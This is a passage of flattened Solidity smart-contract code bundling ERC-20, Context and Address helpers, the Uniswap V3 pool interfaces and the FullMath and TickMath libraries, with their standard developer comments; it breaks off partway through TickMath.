transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than 